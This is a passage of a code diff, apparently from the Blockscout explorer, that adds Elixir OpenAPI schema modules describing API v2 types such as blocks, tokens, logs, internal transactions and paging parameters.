beacon_deposits_count: %Schema{type: :integer, nullable: true} + }, + required: [:blob_transactions_count, :blob_gas_used, :excess_blob_gas, :beacon_deposits_count] + ) + + :celo -> + schema |> Helper.extend_schema(properties: %{celo: @celo_schema}, required: [:celo]) + + :zilliqa -> + schema |> Helper.extend_schema(properties: %{zilliqa: @zilliqa_schema}) + + _ -> + schema + end + end +end + +defmodule BlockScoutWeb.Schemas.API.V2.Block do + @moduledoc """ + This module defines the schema for the Block struct. + """ + require OpenApiSpex + + alias BlockScoutWeb.Schemas.API.V2.{Address, Block.ChainTypeCustomizations, General} + alias OpenApiSpex.Schema + + OpenApiSpex.schema( + %{ + type: :object, + properties: %{ + height: %Schema{type: :integer, nullable: false}, + timestamp: General.Timestamp, + transactions_count: %Schema{type: :integer, nullable: false}, + internal_transactions_count: %Schema{type: :integer, nullable: true}, + miner: Address, + size: %Schema{type: :integer, nullable: false}, + hash: General.FullHash, + parent_hash: General.FullHash, + difficulty: General.IntegerString, + total_difficulty: General.IntegerString, + gas_used: General.IntegerString, + gas_limit: General.IntegerString, + nonce: General.HexStringNullable, + base_fee_per_gas: General.IntegerStringNullable, + burnt_fees: General.IntegerStringNullable, + priority_fee: General.IntegerStringNullable, + uncles_hashes: %Schema{ + type: :array, + items: %Schema{ + type: :object, + properties: %{hash: General.FullHash}, + required: [:hash], + nullable: false, + additionalProperties: false + }, + nullable: false + }, + rewards: %Schema{ + type: :array, + items: %Schema{ + type: :object, + properties: %{ + type: %Schema{type: :string, nullable: false}, + reward: General.IntegerString + }, + required: [:type, :reward], + additionalProperties: false + }, + nullable: false + }, + gas_target_percentage: %Schema{type: :number, format: :float, nullable: false}, + gas_used_percentage: %Schema{type: :number, format: :float, nullable: false}, + burnt_fees_percentage: %Schema{type: :number, format: :float, nullable: true}, + type: %Schema{type: :string, nullable: false, enum: ["block", "uncle", "reorg"]}, + transaction_fees: General.IntegerString, + withdrawals_count: %Schema{type: :integer, nullable: true}, + is_pending_update: %Schema{type: :boolean, nullable: false} + }, + required: [ + :height, + :timestamp, + :transactions_count, + :internal_transactions_count, + :miner, + :size, + :hash, + :parent_hash, + :difficulty, + :total_difficulty, + :gas_used, + :gas_limit, + :nonce, + :base_fee_per_gas, + :burnt_fees, + :priority_fee, + :uncles_hashes, + :rewards, + :gas_target_percentage, + :gas_used_percentage, + :burnt_fees_percentage, + :type, + :transaction_fees, + :withdrawals_count, + :is_pending_update + ], + additionalProperties: false + } + |> ChainTypeCustomizations.chain_type_fields() + ) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/celo/election_reward.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/celo/election_reward.ex new file mode 100644 index 000000000000..80bc4e1c8c63 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/celo/election_reward.ex @@ -0,0 +1,31 @@ +defmodule BlockScoutWeb.Schemas.API.V2.Celo.ElectionReward do + @moduledoc """ + This module defines the schema for the CeloElectionReward struct. + """ + require OpenApiSpex + + alias BlockScoutWeb.Schemas.API.V2.{Address, Celo.ElectionReward.Type, General, Token} + alias OpenApiSpex.Schema + + OpenApiSpex.schema(%{ + type: :object, + properties: %{ + block_number: %Schema{type: :integer, nullable: false}, + block_timestamp: General.Timestamp, + block_hash: General.FullHash, + account: Address, + associated_account: Address, + amount: General.IntegerString, + type: Type, + epoch_number: %Schema{type: :integer, nullable: false}, + token: Token + }, + required: [ + :amount, + :account, + :associated_account, + :epoch_number + ], + additionalProperties: false + }) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/celo/election_reward/type.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/celo/election_reward/type.ex new file mode 100644 index 000000000000..eb9befd2e984 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/celo/election_reward/type.ex @@ -0,0 +1,8 @@ +defmodule BlockScoutWeb.Schemas.API.V2.Celo.ElectionReward.Type do + @moduledoc false + require OpenApiSpex + + alias Explorer.Chain.Celo.ElectionReward + + OpenApiSpex.schema(%{type: :string, nullable: false, enum: ElectionReward.types(), title: "CeloElectionRewardType"}) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/coin_balance.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/coin_balance.ex new file mode 100644 index 000000000000..13e84f478b8e --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/coin_balance.ex @@ -0,0 +1,28 @@ +defmodule BlockScoutWeb.Schemas.API.V2.CoinBalance do + @moduledoc """ + This module defines the schema for the CoinBalance struct. + """ + require OpenApiSpex + + alias BlockScoutWeb.Schemas.API.V2.General + alias OpenApiSpex.Schema + + OpenApiSpex.schema(%{ + type: :object, + properties: %{ + transaction_hash: General.FullHashNullable, + block_number: %Schema{type: :integer, nullable: false}, + delta: General.IntegerString, + value: General.IntegerString, + block_timestamp: General.Timestamp + }, + required: [ + :transaction_hash, + :block_number, + :delta, + :value, + :block_timestamp + ], + additionalProperties: false + }) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/coin_balance_by_day.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/coin_balance_by_day.ex new file mode 100644 index 000000000000..867fa471af90 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/coin_balance_by_day.ex @@ -0,0 +1,19 @@ +defmodule BlockScoutWeb.Schemas.API.V2.CoinBalanceByDay do + @moduledoc """ + This module defines the schema for the CoinBalanceByDay struct. + """ + require OpenApiSpex + + alias BlockScoutWeb.Schemas.API.V2.General + alias OpenApiSpex.Schema + + OpenApiSpex.schema(%{ + type: :object, + properties: %{ + date: %Schema{type: :string, format: :date, nullable: false}, + value: General.IntegerString + }, + required: [:date, :value], + additionalProperties: false + }) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/error_responses.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/error_responses.ex new file mode 100644 index 000000000000..919ff39aeaef --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/error_responses.ex @@ -0,0 +1,30 @@ +defmodule BlockScoutWeb.Schemas.API.V2.ErrorResponses do + @moduledoc """ + This module contains the schemas for the error responses. + """ + require OpenApiSpex + + alias OpenApiSpex.Schema + + defmodule ForbiddenResponse do + @moduledoc false + OpenApiSpex.schema(%{ + title: "ForbiddenResponse", + description: "Response returned when the user is not authorized to access the resource", + type: :object, + properties: %{ + message: %Schema{ + type: :string, + description: "Error message indicating the user is not authorized to access the resource", + example: "Restricted access" + } + }, + additionalProperties: false + }) + + @spec response() :: {String.t(), String.t(), module()} + def response do + {"Forbidden", "application/json", __MODULE__} + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/general.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/general.ex new file mode 100644 index 000000000000..528977c0b938 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/general.ex @@ -0,0 +1,708 @@ +defmodule BlockScoutWeb.Schemas.API.V2.General do + @moduledoc """ + This module defines the schema for general types used in the API. + """ + require OpenApiSpex + + alias BlockScoutWeb.Schemas.API.V2.Celo.ElectionReward.Type, as: CeloElectionRewardType + alias BlockScoutWeb.Schemas.API.V2.Token.Type, as: TokenType + alias BlockScoutWeb.Schemas.Helper + alias OpenApiSpex.{Parameter, Schema} + + defmodule AddressHash do + @moduledoc false + OpenApiSpex.schema(%{type: :string, pattern: ~r"^0x([A-Fa-f0-9]{40})$", nullable: false}) + end + + defmodule AddressHashNullable do + @moduledoc false + OpenApiSpex.schema(%{type: :string, pattern: ~r"^0x([A-Fa-f0-9]{40})$", nullable: true}) + end + + defmodule FullHash do + @moduledoc false + OpenApiSpex.schema(%{type: :string, pattern: ~r"^0x([A-Fa-f0-9]{64})$", nullable: false}) + end + + defmodule FullHashNullable do + @moduledoc false + OpenApiSpex.schema(%{type: :string, pattern: ~r"^0x([A-Fa-f0-9]{64})$", nullable: true}) + end + + defmodule HexString do + @moduledoc false + OpenApiSpex.schema(%{type: :string, pattern: ~r"^0x([A-Fa-f0-9]*)$", nullable: false}) + end + + defmodule HexStringNullable do + @moduledoc false + OpenApiSpex.schema(%{type: :string, pattern: ~r"^0x([A-Fa-f0-9]*)$", nullable: true}) + end + + defmodule ProxyType do + @moduledoc false + alias Ecto.Enum + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation + + OpenApiSpex.schema(%{ + type: :string, + enum: Enum.values(Implementation, :proxy_type), + nullable: true + }) + end + + defmodule Implementation.ChainTypeCustomizations do + @moduledoc false + alias OpenApiSpex.Schema + + @doc """ + Applies chain-specific field customizations to the given schema based on the configured chain type. + + ## Parameters + - `schema`: The base schema map to be customized + + ## Returns + - The schema map with chain-specific properties added based on the current chain type configuration + """ + @spec chain_type_fields(map()) :: map() + def chain_type_fields(schema) do + case Application.get_env(:explorer, :chain_type) do + :filecoin -> + schema + |> Helper.extend_schema( + properties: %{ + filecoin_robust_address: %Schema{ + type: :string, + example: "f25nml2cfbljvn4goqtclhifepvfnicv6g7mfmmvq", + nullable: true + } + }, + required: [:filecoin_robust_address] + ) + + _ -> + schema + end + end + end + + defmodule Implementation do + @moduledoc false + require OpenApiSpex + + alias Implementation.ChainTypeCustomizations + + OpenApiSpex.schema( + %{ + description: "Proxy smart contract implementation", + type: :object, + properties: %{ + address_hash: AddressHash, + name: %Schema{type: :string, nullable: true} + }, + required: [:address_hash, :name], + additionalProperties: false + } + |> ChainTypeCustomizations.chain_type_fields() + ) + end + + defmodule Tag do + @moduledoc false + OpenApiSpex.schema(%{ + description: "Address tag struct", + type: :object, + properties: %{ + address_hash: AddressHash, + display_name: %Schema{type: :string, nullable: false}, + label: %Schema{type: :string, nullable: false} + }, + required: [:address_hash, :display_name, :label], + additionalProperties: false + }) + end + + defmodule WatchlistName do + @moduledoc false + OpenApiSpex.schema(%{ + description: "Watch list name struct", + type: :object, + properties: %{ + display_name: %Schema{type: :string, nullable: false}, + label: %Schema{type: :string, nullable: false} + }, + required: [:display_name, :label], + additionalProperties: false + }) + end + + defmodule FloatString do + @moduledoc false + OpenApiSpex.schema(%{type: :string, pattern: ~r"^([1-9][0-9]*|0)(\.[0-9]+)?$"}) + end + + defmodule FloatStringNullable do + @moduledoc false + OpenApiSpex.schema(%{type: :string, pattern: ~r"^([1-9][0-9]*|0)(\.[0-9]+)?$", nullable: true}) + end + + defmodule IntegerStringNullable do + @moduledoc false + OpenApiSpex.schema(%{type: :string, pattern: ~r"^-?([1-9][0-9]*|0)$", nullable: true}) + end + + defmodule IntegerString do + @moduledoc false + OpenApiSpex.schema(%{type: :string, pattern: ~r"^-?([1-9][0-9]*|0)$", nullable: false}) + end + + defmodule URLNullable do + @moduledoc false + OpenApiSpex.schema(%{ + type: :string, + format: :uri, + example: "https://example.com", + nullable: true + }) + end + + defmodule Timestamp do + @moduledoc false + OpenApiSpex.schema(%{ + type: :string, + format: :"date-time", + nullable: false + }) + end + + defmodule TimestampNullable do + @moduledoc false + OpenApiSpex.schema(%{ + type: :string, + format: :"date-time", + nullable: true + }) + end + + defmodule DecodedInput do + @moduledoc false + OpenApiSpex.schema(%{ + type: :object, + properties: %{ + method_id: %Schema{type: :string, nullable: true}, + method_call: %Schema{type: :string, nullable: true}, + parameters: %Schema{ + type: :array, + items: %Schema{ + type: :object, + properties: %{ + name: %Schema{type: :string, nullable: false}, + type: %Schema{type: :string, nullable: false}, + value: %Schema{ + anyOf: [%Schema{type: :object}, %Schema{type: :array}, %Schema{type: :string}], + nullable: false + } + }, + nullable: false, + additionalProperties: false + } + } + }, + required: [:method_id, :method_call, :parameters], + nullable: false, + additionalProperties: false + }) + end + + defmodule MethodNameNullable do + @moduledoc false + OpenApiSpex.schema(%{ + type: :string, + nullable: true, + example: "transfer", + description: "Method name or hex method id" + }) + end + + defmodule DecodedLogInput do + @moduledoc false + OpenApiSpex.schema(%{ + type: :object, + properties: %{ + method_id: %Schema{type: :string, nullable: true}, + method_call: %Schema{type: :string, nullable: true}, + parameters: %Schema{ + type: :array, + items: %Schema{ + type: :object, + properties: %{ + name: %Schema{type: :string, nullable: false}, + type: %Schema{type: :string, nullable: false}, + indexed: %Schema{type: :boolean, nullable: false}, + value: %Schema{ + anyOf: [%Schema{type: :object}, %Schema{type: :array}, %Schema{type: :string}], + nullable: false + } + }, + required: [:name, :type, :indexed, :value], + nullable: false, + additionalProperties: false + }, + nullable: false + } + }, + required: [:method_id, :method_call, :parameters], + nullable: false, + additionalProperties: false + }) + end + + defmodule EmptyString do + @moduledoc false + OpenApiSpex.schema(%{type: :string, minLength: 0, maxLength: 0}) + end + + defmodule NullString do + @moduledoc false + OpenApiSpex.schema(%{type: :string, pattern: ~r"^null$"}) + end + + @doc """ + Returns a parameter definition for an address hash in the path. + """ + @spec address_hash_param() :: Parameter.t() + def address_hash_param do + %Parameter{ + name: :address_hash_param, + in: :path, + schema: AddressHash, + required: true + } + end + + @doc """ + Returns a parameter definition for filtering transactions by direction (to/from). + """ + @spec direction_filter_param() :: Parameter.t() + def direction_filter_param do + %Parameter{ + name: :filter, + in: :query, + schema: %Schema{type: :string, enum: ["to", "from"]}, + required: false, + description: """ + Filter transactions by direction: + * to - Only show transactions sent to this address + * from - Only show transactions sent from this address + If omitted, all transactions involving the address are returned. + """ + } + end + + @doc """ + Returns a parameter definition for sorting transactions by specified fields. + """ + @spec sort_param([String.t()]) :: Parameter.t() + def sort_param(sort_fields) do + %Parameter{ + name: :sort, + in: :query, + schema: %Schema{ + type: :string, + enum: sort_fields + }, + required: false, + description: """ + Sort transactions by: + * block_number - Sort by block number + * value - Sort by transaction value + * fee - Sort by transaction fee + Should be used together with `order` parameter. + """ + } + end + + @doc """ + Returns a parameter definition for sorting order (asc/desc). + """ + @spec order_param() :: Parameter.t() + def order_param do + %Parameter{ + in: :query, + schema: %Schema{ + type: :string, + enum: ["asc", "desc"] + }, + required: false, + description: """ + Sort order: + * asc - Ascending order + * desc - Descending order + Should be used together with `sort` parameter. + """, + name: :order + } + end + + @doc """ + Returns a parameter definition for filtering by token type. + """ + @spec token_type_param() :: Parameter.t() + def token_type_param do + %Parameter{ + in: :query, + schema: %Schema{ + anyOf: [ + EmptyString, + %Schema{ + type: :string, + pattern: ~r"^(ERC-20|ERC-721|ERC-1155|ERC-404)(,(ERC-20|ERC-721|ERC-1155|ERC-404))*$" + } + ] + }, + required: false, + description: """ + Filter by token type. Comma-separated list of: + * ERC-20 - Fungible tokens + * ERC-721 - Non-fungible tokens + * ERC-1155 - Multi-token standard + * ERC-404 - Hybrid fungible/non-fungible tokens + + Example: `ERC-20,ERC-721` to show both fungible and NFT transfers + """, + name: :type + } + end + + @doc """ + Returns a parameter definition for filtering by NFT token type. + """ + @spec nft_token_type_param() :: Parameter.t() + def nft_token_type_param do + %Parameter{ + in: :query, + schema: %Schema{ + anyOf: [ + EmptyString, + %Schema{ + type: :string, + pattern: ~r"^(ERC-721|ERC-1155|ERC-404)(,(ERC-721|ERC-1155|ERC-404))*$" + } + ] + }, + required: false, + description: """ + Filter by token type. Comma-separated list of: + * ERC-721 - Non-fungible tokens + * ERC-1155 - Multi-token standard + * ERC-404 - Hybrid fungible/non-fungible tokens + + Example: `ERC-721,ERC-1155` to show both NFT and multi-token transfers + """, + name: :type + } + end + + @doc """ + Returns a parameter definition for filtering logs by topic. + """ + @spec topic_param() :: Parameter.t() + def topic_param do + %Parameter{ + in: :query, + schema: HexString, + required: false, + description: "Filter logs by topic", + name: :topic + } + end + + @doc """ + Returns a parameter definition for filtering token transfers by token contract address. + """ + @spec token_filter_param() :: Parameter.t() + def token_filter_param do + %Parameter{ + in: :query, + schema: AddressHash, + required: false, + description: "Filter token transfers by token contract address.", + name: :token + } + end + + @doc """ + Returns a parameter definition for API key used in rate limiting. + """ + @spec api_key_param() :: Parameter.t() + def api_key_param do + %Parameter{ + in: :query, + schema: %Schema{type: :string}, + required: false, + description: "API key for rate limiting", + name: :apikey + } + end + + @doc """ + Returns a parameter definition for secret key used to access restricted resources. + """ + @spec key_param() :: Parameter.t() + def key_param do + %Parameter{ + in: :query, + schema: %Schema{type: :string}, + required: false, + description: "Secret key for getting access to restricted resources", + name: :key + } + end + + @doc """ + Returns a list of base parameters (api_key and key). + """ + @spec base_params() :: [Parameter.t()] + def base_params do + [api_key_param(), key_param()] + end + + @doc """ + Returns a schema definition for paginated response. + """ + @spec paginated_response(Keyword.t()) :: Schema.t() + def paginated_response(options) do + items_schema = Keyword.fetch!(options, :items) + next_page_params_example = Keyword.fetch!(options, :next_page_params_example) + title_prefix = Keyword.fetch!(options, :title_prefix) + + %Schema{ + title: "#{title_prefix}PaginatedResponse", + type: :object, + properties: %{ + items: %Schema{type: :array, items: items_schema, nullable: false}, + next_page_params: %Schema{ + type: :object, + nullable: true, + example: next_page_params_example + } + }, + required: [:items, :next_page_params], + nullable: false, + additionalProperties: false + } + end + + # `%Schema{anyOf: [%Schema{type: :integer}, EmptyString]}` is used because, + # `allowEmptyValue: true` does not allow empty string for some reasons (at least in this case) + + @paging_params %{ + "block_number" => %Parameter{ + in: :query, + schema: %Schema{type: :integer}, + required: false, + description: "Block number for paging", + name: :block_number + }, + "block_number_nullable" => %Parameter{ + in: :query, + schema: %Schema{anyOf: [%Schema{type: :integer}, EmptyString, NullString]}, + required: false, + description: "Block number for paging", + name: :block_number + }, + "block_number_no_casting" => %Parameter{ + in: :query, + schema: IntegerString, + required: false, + description: "Block number for paging", + name: :block_number + }, + "epoch_number" => %Parameter{ + in: :query, + schema: IntegerString, + required: false, + description: "Epoch number for paging", + name: :epoch_number + }, + "index" => %Parameter{ + in: :query, + schema: %Schema{type: :integer}, + required: false, + description: "Transaction index for paging", + name: :index + }, + "index_nullable" => %Parameter{ + in: :query, + schema: %Schema{anyOf: [%Schema{type: :integer}, EmptyString, NullString]}, + required: false, + description: "Transaction index for paging", + name: :index + }, + "inserted_at" => %Parameter{ + in: :query, + schema: %Schema{type: :string, format: :"date-time"}, + required: false, + description: "Inserted at timestamp for paging (ISO8601)", + name: :inserted_at + }, + "hash" => %Parameter{ + in: :query, + schema: FullHash, + required: false, + description: "Transaction hash for paging", + name: :hash + }, + # TODO: consider refactoring, to avoid ambiguity with hash param (the same name) + "address_hash" => %Parameter{ + in: :query, + schema: AddressHash, + required: false, + description: "Address hash for paging", + name: :hash + }, + "value" => %Parameter{ + in: :query, + schema: IntegerString, + required: false, + description: "Transaction value for paging", + name: :value + }, + "fee" => %Parameter{ + in: :query, + schema: IntegerString, + required: false, + description: "Transaction fee for paging", + name: :fee + }, + "items_count" => %Parameter{ + in: :query, + schema: %Schema{type: :integer, minimum: 1, maximum: 50}, + required: false, + description: "Number of items returned per page", + name: :items_count + }, + "batch_log_index" => %Parameter{ + in: :query, + schema: %Schema{type: :integer}, + required: false, + description: "Batch log index for paging", + name: :batch_log_index + }, + "batch_block_hash" => %Parameter{ + in: :query, + schema: FullHash, + required: false, + description: "Batch block hash for paging", + name: :batch_block_hash + }, + "batch_transaction_hash" => %Parameter{ + in: :query, + schema: FullHash, + required: false, + description: "Batch transaction hash for paging", + name: :batch_transaction_hash + }, + "index_in_batch" => %Parameter{ + in: :query, + schema: %Schema{type: :integer}, + required: false, + description: "Index in batch for paging", + name: :index_in_batch + }, + "transaction_index" => %Parameter{ + in: :query, + schema: %Schema{type: :integer}, + required: false, + description: "Transaction index for paging", + name: :transaction_index + }, + "fiat_value_nullable" => %Parameter{ + in: :query, + schema: %Schema{anyOf: [FloatString, EmptyString, NullString]}, + required: false, + description: "Fiat value for paging", + name: :fiat_value + }, + "id" => %Parameter{ + in: :query, + schema: %Schema{type: :integer}, + required: false, + description: "ID for paging", + name: :id + }, + "fetched_coin_balance" => %Parameter{ + in: :query, + schema: IntegerStringNullable, + required: false, + description: "Fetched coin balance for paging", + name: :fetched_coin_balance + }, + "transactions_count" => %Parameter{ + in: :query, + schema: %Schema{anyOf: [%Schema{type: :integer}, EmptyString, NullString]}, + required: false, + description: "Transactions count for paging", + name: :transactions_count + }, + "token_contract_address_hash" => %Parameter{ + in: :query, + schema: AddressHash, + required: false, + description: "Token contract address hash for paging", + name: :token_contract_address_hash + }, + "token_id" => %Parameter{ + in: :query, + schema: IntegerStringNullable, + required: false, + description: "Token ID for paging", + name: :token_id + }, + "token_type" => %Parameter{ + in: :query, + schema: TokenType, + required: false, + description: "Token type for paging", + name: :token_type + }, + "amount" => %Parameter{ + in: :query, + schema: IntegerStringNullable, + required: false, + description: "Amount for paging", + name: :amount + }, + "associated_account_address_hash" => %Parameter{ + in: :query, + schema: AddressHash, + required: false, + description: "Associated account address hash for paging", + name: :associated_account_address_hash + }, + "type" => %Parameter{ + in: :query, + schema: CeloElectionRewardType.schema(), + required: false, + description: "Type for paging", + name: :type + }, + "deposit_index" => %Parameter{ + in: :query, + schema: %Schema{type: :integer, minimum: 0, maximum: 9_223_372_036_854_775_807}, + required: false, + description: "Deposit index for paging", + name: :index + } + } + + @doc """ + Returns a list of paging parameters based on the provided field names. + """ + @spec define_paging_params([String.t()]) :: [Parameter.t()] + def define_paging_params(fields) do + Enum.map(fields, fn field -> + Map.get(@paging_params, field) || raise "Unknown paging param: #{field}" + end) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/internal_transaction.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/internal_transaction.ex new file mode 100644 index 000000000000..78331fe33e1a --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/internal_transaction.ex @@ -0,0 +1,71 @@ +defmodule BlockScoutWeb.Schemas.API.V2.InternalTransaction do + @moduledoc """ + This module defines the schema for the InternalTransaction struct. + """ + require OpenApiSpex + + alias OpenApiSpex.Schema + alias BlockScoutWeb.Schemas.API.V2.{Address, General} + + OpenApiSpex.schema(%{ + type: :object, + properties: %{ + error: %Schema{ + type: :string, + nullable: true + }, + success: %Schema{ + type: :boolean, + nullable: false + }, + type: %Schema{ + type: :string, + nullable: false, + description: "Type of the internal transaction (call, create, etc.)" + }, + transaction_hash: General.FullHash, + transaction_index: %Schema{ + type: :integer, + nullable: false, + description: "The index of the parent transaction inside the block." + }, + from: Address, + to: Address, + created_contract: %Schema{allOf: [Address], nullable: true}, + value: General.IntegerString, + block_number: %Schema{ + type: :integer, + nullable: false + }, + timestamp: General.Timestamp, + index: %Schema{ + type: :integer, + description: "The index of this internal transaction inside the transaction.", + nullable: false + }, + gas_limit: General.IntegerStringNullable, + block_index: %Schema{ + type: :integer, + description: "The index of this internal transaction inside the block.", + nullable: false + } + }, + required: [ + :error, + :success, + :type, + :transaction_hash, + :transaction_index, + :from, + :to, + :created_contract, + :value, + :block_number, + :timestamp, + :index, + :gas_limit, + :block_index + ], + additionalProperties: false + }) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/log.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/log.ex new file mode 100644 index 000000000000..97fb02286e61 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/log.ex @@ -0,0 +1,36 @@ +defmodule BlockScoutWeb.Schemas.API.V2.Log do + @moduledoc """ + This module defines the schema for the Log struct. + """ + require OpenApiSpex + + alias BlockScoutWeb.Schemas.API.V2.{Address, General} + alias OpenApiSpex.Schema + + OpenApiSpex.schema(%{ + type: :object, + properties: %{ + transaction_hash: General.FullHash, + address: Address, + topics: %Schema{type: :array, items: General.HexStringNullable, nullable: false}, + data: General.HexString, + index: %Schema{type: :integer, nullable: false}, + decoded: %Schema{allOf: [General.DecodedLogInput], nullable: true}, + smart_contract: %Schema{allOf: [Address], nullable: true}, + block_hash: General.FullHash, + block_number: %Schema{type: :integer, nullable: false} + }, + required: [ + :transaction_hash, + :address, + :topics, + :data, + :index, + :decoded, + :smart_contract, + :block_hash, + :block_number + ], + additionalProperties: false + }) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/nft_collection.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/nft_collection.ex new file mode 100644 index 000000000000..fcf6848ce713 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/nft_collection.ex @@ -0,0 +1,24 @@ +defmodule BlockScoutWeb.Schemas.API.V2.NFTCollection do + @moduledoc """ + This module defines the schema for the NFTCollection struct. + """ + require OpenApiSpex + + alias BlockScoutWeb.Schemas.API.V2.{General, Token, TokenInstanceInList} + alias OpenApiSpex.Schema + + OpenApiSpex.schema(%{ + type: :object, + properties: %{ + token: Token, + amount: General.IntegerStringNullable, + token_instances: %Schema{ + type: :array, + items: TokenInstanceInList, + nullable: false + } + }, + required: [:token, :amount, :token_instances], + additionalProperties: false + }) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/proxy/metadata.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/proxy/metadata.ex new file mode 100644 index 000000000000..f39e3c14e354 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/proxy/metadata.ex @@ -0,0 +1,19 @@ +defmodule BlockScoutWeb.Schemas.API.V2.Proxy.Metadata do + @moduledoc """ + This module defines the schema for the Metadata struct. + """ + require OpenApiSpex + + alias BlockScoutWeb.Schemas.API.V2.Proxy.MetadataTag + alias OpenApiSpex.Schema + + OpenApiSpex.schema(%{ + description: "Metadata struct", + type: :object, + properties: %{ + tags: %Schema{description: "Metadata tags linked with the address", type: :array, items: MetadataTag} + }, + required: [:tags], + additionalProperties: false + }) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/proxy/metadata_tag.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/proxy/metadata_tag.ex new file mode 100644 index 000000000000..5b54df3359b2 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/proxy/metadata_tag.ex @@ -0,0 +1,22 @@ +defmodule BlockScoutWeb.Schemas.API.V2.Proxy.MetadataTag do + @moduledoc """ + This module defines the schema for the MetadataTag struct. + """ + require OpenApiSpex + + alias OpenApiSpex.Schema + + OpenApiSpex.schema(%{ + description: "Metadata tag struct", + type: :object, + properties: %{ + slug: %Schema{type: :string, nullable: false}, + name: %Schema{type: :string, nullable: false}, + tagType: %Schema{type: :string, nullable: false}, + ordinal: %Schema{type: :integer, nullable: false}, + meta: %Schema{type: :object, nullable: false} + }, + required: [:slug, :name, :tagType, :ordinal, :meta], + additionalProperties: false + }) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/signed_authorization.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/signed_authorization.ex new file mode 100644 index 000000000000..2887be4d2f85 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/signed_authorization.ex @@ -0,0 +1,29 @@ +defmodule BlockScoutWeb.Schemas.API.V2.SignedAuthorization do + @moduledoc """ + This module defines the schema for the SignedAuthorization struct. + """ + require OpenApiSpex + + alias BlockScoutWeb.Schemas.API.V2.General + alias OpenApiSpex.Schema + + OpenApiSpex.schema(%{ + type: :object, + properties: %{ + address_hash: General.AddressHash, + chain_id: %Schema{type: :integer, nullable: false}, + nonce: General.IntegerString, + r: General.IntegerString, + s: General.IntegerString, + v: %Schema{type: :integer, nullable: false}, + authority: General.AddressHash, + status: %Schema{ + type: :string, + enum: ["ok", "invalid_chain_id", "invalid_signature", "invalid_nonce"], + nullable: true + } + }, + required: [:address_hash, :chain_id, :nonce, :r, :s, :v, :authority, :status], + additionalProperties: false + }) +end diff --git a/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/token.ex b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/token.ex new file mode 100644 index 000000000000..d744c42b1ed9 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/schemas/api/v2/token.ex @@ -0,0 +1,111 @@ +defmodule BlockScoutWeb.Schemas.API.V2.Token.ChainTypeCustomizations do + @moduledoc false + require OpenApiSpex + + alias BlockScoutWeb.Schemas.API.V2.General + alias BlockScoutWeb.Schemas.Helper + alias Explorer.Chain.BridgedToken + alias OpenApiSpex.Schema + + @filecoin_robust_address_schema %Schema{ + type: :string, + example: "f25nml2cfbljvn4goqtclhifepvfnicv6g7mfmmvq", + nullable: true + } + + def chain_type_fields(schema) do + case Application.get_env(:explorer, :chain_type) do + :filecoin -> + schema + |> Helper.extend_schema( + properties: %{filecoin_robust_address: @filecoin_robust_address_schema}, + required: [:filecoin_robust_address] + ) + + _ -> + schema + end + end + + def maybe_append_bridged_info(schema) do + if BridgedToken.enabled?() do + schema + |> put_in([:properties, :is_bridged], %Schema{type: :boolean, nullable: false}) + |> update_in([:required], &[:is_bridged | &1]) + else + schema + end + end +end + +defmodule BlockScoutWeb.Schemas.API.V2.Token do + @moduledoc """ + This module defines the schema for the Token struct. + """ + require OpenApiSpex + + alias BlockScoutWeb.Schemas.API.V2.General + alias BlockScoutWeb.Schemas.API.V2.Token.{ChainTypeCustomizations, Type} + alias Explorer.Chain.Address.Reputation + alias OpenApiSpex.Schema + + OpenApiSpex.schema( + %{ + description: "Token struct", + type: :object, + properties: %{ + address_hash: General.AddressHash, + symbol: %Schema{type: :string, nullable: true}, + name: %Schema{type: :string, nullable: true}, + decimals: General.IntegerStringNullable, + type: %Schema{allOf: [Type], nullable: true}, + holders_count: General.IntegerStringNullable, + exchange_rate: General.FloatStringNullable, + volume_24h: General.FloatStringNullable, + total_supply: General.IntegerStringNullable, + icon_url: General.URLNullable, + circulating_market_cap: General.FloatStringNullable, + reputation: %Schema{ + type: :string, + enum: Reputation.enum_values(), + description: "Reputation of the token", + nullable: true 